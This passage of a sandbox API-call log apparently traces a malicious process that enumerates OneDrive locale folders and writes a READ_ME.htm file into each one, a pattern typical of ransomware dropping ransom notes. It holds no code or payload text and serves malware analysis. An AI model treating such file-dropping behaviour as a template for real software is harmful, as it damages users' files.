nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x290e0f0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kok", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kok", lpFilePart=0x0) returned 0x46 [0145.626] SetErrorMode (uMode=0x1) returned 0x0 [0145.626] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kok\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\kok\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeacda270, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeaeef5b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeaeef5b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.627] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.627] SetErrorMode (uMode=0x0) returned 0x1 [0145.627] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kok", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kok", lpFilePart=0x0) returned 0x46 [0145.627] SetErrorMode (uMode=0x1) returned 0x0 [0145.627] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kok\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\kok\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeacda270, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeaeef5b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeaeef5b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.627] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.627] SetErrorMode (uMode=0x0) returned 0x1 [0145.628] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kok\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kok\\READ_ME.htm", lpFilePart=0x0) returned 0x52 [0145.628] SetErrorMode (uMode=0x1) returned 0x0 [0145.628] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\kok\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\kok\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.628] SetErrorMode (uMode=0x0) returned 0x1 [0145.628] GetFileType (hFile=0x1d0) returned 0x1 [0145.628] WriteFile (in: hFile=0x1d0, lpBuffer=0x2914720*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2914720*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.630] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ku-arab", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ku-arab", lpFilePart=0x0) returned 0x4a [0145.630] SetErrorMode (uMode=0x1) returned 0x0 [0145.630] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ku-arab\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ku-arab\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaf619d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb19ce70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb19ce70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.630] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.631] SetErrorMode (uMode=0x0) returned 0x1 [0145.631] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ku-arab", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ku-arab", lpFilePart=0x0) returned 0x4a [0145.631] SetErrorMode (uMode=0x1) returned 0x0 [0145.631] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ku-arab\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ku-arab\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaf619d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb19ce70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb19ce70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.631] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.631] SetErrorMode (uMode=0x0) returned 0x1 [0145.631] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ku-arab\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ku-arab\\READ_ME.htm", lpFilePart=0x0) returned 0x56 [0145.632] SetErrorMode (uMode=0x1) returned 0x0 [0145.632] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ku-arab\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ku-arab\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.632] SetErrorMode (uMode=0x0) returned 0x1 [0145.632] GetFileType (hFile=0x1d0) returned 0x1 [0145.632] WriteFile (in: hFile=0x1d0, lpBuffer=0x291add0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x291add0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.634] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ky", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ky", lpFilePart=0x0) returned 0x45 [0145.634] SetErrorMode (uMode=0x1) returned 0x0 [0145.634] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ky\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ky\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb19ce70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb3fe470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb3fe470, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.634] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.634] SetErrorMode (uMode=0x0) returned 0x1 [0145.634] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ky", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ky", lpFilePart=0x0) returned 0x45 [0145.635] SetErrorMode (uMode=0x1) returned 0x0 [0145.635] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ky\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ky\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb19ce70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb3fe470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb3fe470, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.635] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.635] SetErrorMode (uMode=0x0) returned 0x1 [0145.635] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ky\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ky\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.635] SetErrorMode (uMode=0x1) returned 0x0 [0145.635] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ky\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ky\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.636] SetErrorMode (uMode=0x0) returned 0x1 [0145.637] GetFileType (hFile=0x1d0) returned 0x1 [0145.637] WriteFile (in: hFile=0x1d0, lpBuffer=0x29213b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29213b8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.638] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lb-lu", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lb-lu", lpFilePart=0x0) returned 0x48 [0145.638] SetErrorMode (uMode=0x1) returned 0x0 [0145.638] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lb-lu\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\lb-lu\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb3fe470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb5ed650, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb5ed650, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.638] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.639] SetErrorMode (uMode=0x0) returned 0x1 [0145.639] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lb-lu", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lb-lu", lpFilePart=0x0) returned 0x48 [0145.639] SetErrorMode (uMode=0x1) returned 0x0 [0145.639] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lb-lu\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\lb-lu\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb3fe470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb5ed650, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb5ed650, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.639] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.639] SetErrorMode (uMode=0x0) returned 0x1 [0145.639] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lb-lu\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lb-lu\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.640] SetErrorMode (uMode=0x1) returned 0x0 [0145.640] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lb-lu\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\lb-lu\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.640] SetErrorMode (uMode=0x0) returned 0x1 [0145.640] GetFileType (hFile=0x1d0) returned 0x1 [0145.641] WriteFile (in: hFile=0x1d0, lpBuffer=0x2927a20*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2927a20*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.642] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lt", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lt", lpFilePart=0x0) returned 0x45 [0145.642] SetErrorMode (uMode=0x1) returned 0x0 [0145.642] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lt\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\lt\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb5ed650, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb84ec50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb84ec50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.643] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.643] SetErrorMode (uMode=0x0) returned 0x1 [0145.643] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lt", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lt", lpFilePart=0x0) returned 0x45 [0145.643] SetErrorMode (uMode=0x1) returned 0x0 [0145.644] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lt\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\lt\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb5ed650, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb84ec50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb84ec50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.644] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.644] SetErrorMode (uMode=0x0) returned 0x1 [0145.644] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lt\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lt\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.644] SetErrorMode (uMode=0x1) returned 0x0 [0145.644] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lt\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\lt\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.645] SetErrorMode (uMode=0x0) returned 0x1 [0145.645] GetFileType (hFile=0x1d0) returned 0x1 [0145.645] WriteFile (in: hFile=0x1d0, lpBuffer=0x292e008*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x292e008*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lv", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lv", lpFilePart=0x0) returned 0x45 [0145.647] SetErrorMode (uMode=0x1) returned 0x0 [0145.647] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lv\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\lv\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb84ec50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebab0250, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebab0250, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.647] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.648] SetErrorMode (uMode=0x0) returned 0x1 [0145.648] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lv", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lv", lpFilePart=0x0) returned 0x45 [0145.648] SetErrorMode (uMode=0x1) returned 0x0 [0145.648] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lv\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\lv\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb84ec50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebab0250, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebab0250, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.648] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.648] SetErrorMode (uMode=0x0) returned 0x1 [0145.649] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lv\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lv\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.649] SetErrorMode (uMode=0x1) returned 0x0 [0145.649] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\lv\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\lv\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.649] SetErrorMode (uMode=0x0) returned 0x1 [0145.649] GetFileType (hFile=0x1d0) returned 0x1 [0145.649] WriteFile (in: hFile=0x1d0, lpBuffer=0x29345f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29345f0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.651] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mi-nz", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mi-nz", lpFilePart=0x0) returned 0x48 [0145.651] SetErrorMode (uMode=0x1) returned 0x0 [0145.651] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mi-nz\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mi-nz\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebab0250, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc792d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc792d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.651] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.651] SetErrorMode (uMode=0x0) returned 0x1 [0145.652] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mi-nz", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mi-nz", lpFilePart=0x0) returned 0x48 [0145.652] SetErrorMode (uMode=0x1) returned 0x0 [0145.652] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mi-nz\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mi-nz\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebab0250, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc792d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc792d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.652] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.652] SetErrorMode (uMode=0x0) returned 0x1 [0145.652] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mi-nz\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mi-nz\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.652] SetErrorMode (uMode=0x1) returned 0x0 [0145.652] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mi-nz\\READ_ME.htm" (normalized: 